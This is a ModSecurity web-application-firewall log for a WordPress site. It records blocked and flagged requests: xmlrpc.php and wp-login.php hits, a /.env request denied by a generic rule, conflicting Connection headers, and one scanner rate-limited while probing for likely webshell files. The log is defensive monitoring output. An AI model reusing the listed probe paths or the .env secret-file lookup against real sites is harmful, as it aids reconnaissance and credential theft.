[Sat Apr 25 19:56:04.293506 2026] [:error] [pid 16108:tid 16182] [client 182.10.97.110:8177] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeyr1IbPF4HSQDj6WrmHUQAAANA"]
[Sat Apr 25 19:56:41.031522 2026] [:error] [pid 16107:tid 16143] [client 182.10.97.110:28979] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeyr-dIfF7Hy3tw0sYSF_QAAAIY"]
[Sat Apr 25 19:56:43.506786 2026] [:error] [pid 16108:tid 16167] [client 182.10.97.110:30246] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeyr-4bPF4HSQDj6WrmHtQAAAMM"]
[Sat Apr 25 19:57:21.916991 2026] [:error] [pid 16108:tid 16179] [client 182.10.97.110:52462] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeysIYbPF4HSQDj6WrmIGAAAAM0"]
[Sat Apr 25 19:57:22.173393 2026] [:error] [pid 29049:tid 29070] [client 182.10.97.110:52621] [client 182.10.97.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.10.97.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeysIifsWHIvmg63qcWFMwAAARM"]
[Sat Apr 25 19:58:12.291527 2026] [:error] [pid 29049:tid 29071] [client 51.178.216.196:60848] [client 51.178.216.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.178.216.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeysVCfsWHIvmg63qcWFkgAAARQ"]
[Sat Apr 25 19:58:14.010358 2026] [:error] [pid 29049:tid 29056] [client 51.178.216.196:60848] [client 51.178.216.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.178.216.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeysVifsWHIvmg63qcWFlAAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 20:03:12.239217 2026] [:error] [pid 16108:tid 16175] [client 223.185.19.60:22075] [client 223.185.19.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.19.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeytgIbPF4HSQDj6WrmNGgAAAMk"]
[Sat Apr 25 20:03:22.710180 2026] [:error] [pid 16108:tid 16187] [client 223.185.19.60:1174] [client 223.185.19.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.19.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeytiobPF4HSQDj6WrmNRQAAANU"]
[Sat Apr 25 20:03:33.225121 2026] [:error] [pid 29049:tid 29059] [client 223.185.19.60:5644] [client 223.185.19.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.19.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeytlSfsWHIvmg63qcWHsAAAAQg"]
[Sat Apr 25 20:03:43.850433 2026] [:error] [pid 29049:tid 29068] [client 223.185.19.60:25608] [client 223.185.19.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.19.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeytnyfsWHIvmg63qcWHugAAARE"]
[Sat Apr 25 20:03:54.451895 2026] [:error] [pid 16108:tid 16182] [client 223.185.19.60:12241] [client 223.185.19.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.19.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeytqobPF4HSQDj6WrmNkAAAANA"]
[Sat Apr 25 20:20:09.220218 2026] [:error] [pid 59897:tid 59927] [client 82.198.236.94:19578] [client 82.198.236.94] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aeyxefBrrkdzpEbmK4dxWwAAAIA"]
[Sat Apr 25 21:07:03.857935 2026] [:error] [pid 59896:tid 59910] [client 177.200.32.107:3397] [client 177.200.32.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.200.32.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aey8d7LLzhtkd-OXUgDrqQAAAEo"]
[Sat Apr 25 21:08:09.697220 2026] [:error] [pid 59985:tid 60009] [client 108.167.132.38:41760] [client 108.167.132.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aey8uQF_zDvEhKvyTH6tHwAAABY"]
[Sat Apr 25 21:08:11.722635 2026] [:error] [pid 59985:tid 59994] [client 108.167.132.38:41760] [client 108.167.132.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.132.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aey8uwF_zDvEhKvyTH6tIgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 23:27:50.445278 2026] [:error] [pid 59896:tid 59901] [client 162.62.231.139:46078] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aezddrLLzhtkd-OXUgAi4wAAAEE"]
[Sun Apr 26 00:20:42.719187 2026] [:error] [pid 59985:tid 60005] [client 49.233.45.47:43012] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aezp2gF_zDvEhKvyTH7m2gAAABI"]
[Sun Apr 26 00:56:35.238738 2026] [:error] [pid 59897:tid 59942] [client 43.134.73.5:43388] [client 43.134.73.5] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aezyQ_BrrkdzpEbmK4e4vQAAAI8"]
[Sun Apr 26 02:44:31.423729 2026] [:error] [pid 59896:tid 59920] [client 177.86.20.74:11632] [client 177.86.20.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.86.20.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae0Lj7LLzhtkd-OXUgBwtQAAAFQ"]
[Sun Apr 26 04:39:20.874958 2026] [:error] [pid 10315:tid 10331] [client 20.91.188.120:28710] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/crgio.php"] [unique_id "ae0meKJIw2vjkleLIaBzdgAAAQ4"]
[Sun Apr 26 04:39:22.536391 2026] [:error] [pid 41906:tid 41916] [client 20.91.188.120:31727] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/crgio.php"] [unique_id "ae0mej3-0A3lxw9OXoDhuAAAAYg"]
[Sun Apr 26 04:39:23.504659 2026] [:error] [pid 31273:tid 31341] [client 20.91.188.120:62106] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/crgio.php"] [unique_id "ae0me_hcNJEGrATcuEeoRQAAAUQ"]
[Sun Apr 26 04:39:24.516009 2026] [:error] [pid 41906:tid 41929] [client 20.91.188.120:56900] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/crgio.php"] [unique_id "ae0mfD3-0A3lxw9OXoDhvAAAAZU"]
[Sun Apr 26 04:39:25.662393 2026] [:error] [pid 8390:tid 8475] [client 20.91.188.120:62129] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ae0mfYGPtFK_i9p5yxT_GAAAAJg"]
[Sun Apr 26 04:39:26.651093 2026] [:error] [pid 41906:tid 41909] [client 20.91.188.120:56941] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ae0mfj3-0A3lxw9OXoDhwQAAAYE"]
[Sun Apr 26 04:39:27.919621 2026] [:error] [pid 10315:tid 10332] [client 20.91.188.120:62119] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ae0mf6JIw2vjkleLIaBzeQAAAQ8"]
[Sun Apr 26 04:39:30.814989 2026] [:error] [pid 10315:tid 10326] [client 20.91.188.120:47856] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ae0mgqJIw2vjkleLIaBzegAAAQk"]
[Sun Apr 26 04:39:32.641498 2026] [:error] [pid 8383:tid 8407] [client 20.91.188.120:37005] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ae0mhNFa2S3EsATMdWOvFwAAAAo"]
[Sun Apr 26 04:39:33.547551 2026] [:error] [pid 8383:tid 8406] [client 20.91.188.120:25504] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ae0mhdFa2S3EsATMdWOvGQAAAAk"]
[Sun Apr 26 04:39:34.620997 2026] [:error] [pid 8491:tid 8524] [client 20.91.188.120:33297] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ae0mhiq7I7e6CJooQM15IAAAANg"]
[Sun Apr 26 04:39:35.602421 2026] [:error] [pid 41906:tid 41910] [client 20.91.188.120:44726] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "ae0mhz3-0A3lxw9OXoDhywAAAYI"]
[Sun Apr 26 04:39:37.134122 2026] [:error] [pid 41906:tid 41930] [client 20.91.188.120:27432] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/77.php"] [unique_id "ae0miT3-0A3lxw9OXoDhzwAAAZY"]
[Sun Apr 26 04:39:38.337258 2026] [:error] [pid 8385:tid 8434] [client 20.91.188.120:16335] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/77.php"] [unique_id "ae0mijOy7_J84Wx3-oxPGAAAAEo"]
[Sun Apr 26 04:39:39.133696 2026] [:error] [pid 8385:tid 8430] [client 20.91.188.120:62100] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/77.php"] [unique_id "ae0mizOy7_J84Wx3-oxPGwAAAEY"]
[Sun Apr 26 04:39:39.958282 2026] [:error] [pid 8491:tid 8500] [client 20.91.188.120:44713] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/77.php"] [unique_id "ae0miyq7I7e6CJooQM15KAAAAME"]
[Sun Apr 26 04:39:41.215766 2026] [:error] [pid 10315:tid 10319] [client 20.91.188.120:37012] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.sghb.php"] [unique_id "ae0mjaJIw2vjkleLIaBzhAAAAQI"]
[Sun Apr 26 04:39:42.542326 2026] [:error] [pid 8385:tid 8432] [client 20.91.188.120:62886] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.sghb.php"] [unique_id "ae0mjjOy7_J84Wx3-oxPIAAAAEg"]
[Sun Apr 26 04:39:43.487257 2026] [:error] [pid 31273:tid 31350] [client 20.91.188.120:38882] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.sghb.php"] [unique_id "ae0mj_hcNJEGrATcuEeoTQAAAUs"]
[Sun Apr 26 04:39:45.045065 2026] [:error] [pid 8390:tid 8457] [client 20.91.188.120:38895] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.sghb.php"] [unique_id "ae0mkYGPtFK_i9p5yxT_IwAAAIY"]
[Sun Apr 26 04:39:46.808821 2026] [:error] [pid 8390:tid 8451] [client 20.91.188.120:37037] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoko.php"] [unique_id "ae0mkoGPtFK_i9p5yxT_JQAAAIA"]
[Sun Apr 26 04:39:48.368762 2026] [:error] [pid 8390:tid 8474] [client 20.91.188.120:39577] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoko.php"] [unique_id "ae0mlIGPtFK_i9p5yxT_KQAAAJc"]
[Sun Apr 26 04:39:49.431394 2026] [:error] [pid 8390:tid 8473] [client 20.91.188.120:39614] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoko.php"] [unique_id "ae0mlYGPtFK_i9p5yxT_LAAAAJY"]
[Sun Apr 26 04:39:51.149863 2026] [:error] [pid 10315:tid 10340] [client 20.91.188.120:11984] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoko.php"] [unique_id "ae0ml6JIw2vjkleLIaBzjAAAARc"]
[Sun Apr 26 04:39:52.303563 2026] [:error] [pid 8390:tid 8469] [client 20.91.188.120:48510] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/solo1.php"] [unique_id "ae0mmIGPtFK_i9p5yxT_MQAAAJI"]
[Sun Apr 26 04:39:53.231833 2026] [:error] [pid 8390:tid 8460] [client 20.91.188.120:4655] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/solo1.php"] [unique_id "ae0mmYGPtFK_i9p5yxT_NAAAAIk"]
[Sun Apr 26 04:39:54.891248 2026] [:error] [pid 8383:tid 8405] [client 20.91.188.120:43990] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/solo1.php"] [unique_id "ae0mmtFa2S3EsATMdWOvJQAAAAg"]
[Sun Apr 26 04:39:55.571448 2026] [:error] [pid 31273:tid 31335] [client 20.91.188.120:52677] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/solo1.php"] [unique_id "ae0mm_hcNJEGrATcuEeoVwAAAUA"]
[Sun Apr 26 04:39:56.337703 2026] [:error] [pid 31273:tid 31356] [client 20.91.188.120:39578] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locales.php"] [unique_id "ae0mnPhcNJEGrATcuEeoXAAAAVE"]
[Sun Apr 26 04:39:57.341337 2026] [:error] [pid 8383:tid 8413] [client 20.91.188.120:31296] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locales.php"] [unique_id "ae0mndFa2S3EsATMdWOvKAAAABA"]
[Sun Apr 26 04:39:58.372611 2026] [:error] [pid 8390:tid 8471] [client 20.91.188.120:37832] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locales.php"] [unique_id "ae0mnoGPtFK_i9p5yxT_OAAAAJQ"]
[Sun Apr 26 04:39:59.494348 2026] [:error] [pid 8390:tid 8463] [client 20.91.188.120:39594] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locales.php"] [unique_id "ae0mn4GPtFK_i9p5yxT_OQAAAIw"]
[Sun Apr 26 04:40:00.671658 2026] [:error] [pid 8385:tid 8431] [client 20.91.188.120:38918] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ae0moDOy7_J84Wx3-oxPMwAAAEc"]
[Sun Apr 26 04:40:01.598862 2026] [:error] [pid 8383:tid 8414] [client 20.91.188.120:39554] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ae0modFa2S3EsATMdWOvLgAAABE"]
[Sun Apr 26 04:40:02.507891 2026] [:error] [pid 8385:tid 8428] [client 20.91.188.120:37865] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ae0mojOy7_J84Wx3-oxPOgAAAEQ"]
[Sun Apr 26 04:40:03.890742 2026] [:error] [pid 31273:tid 31362] [client 20.91.188.120:11997] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "ae0mo_hcNJEGrATcuEeoXgAAAVc"]
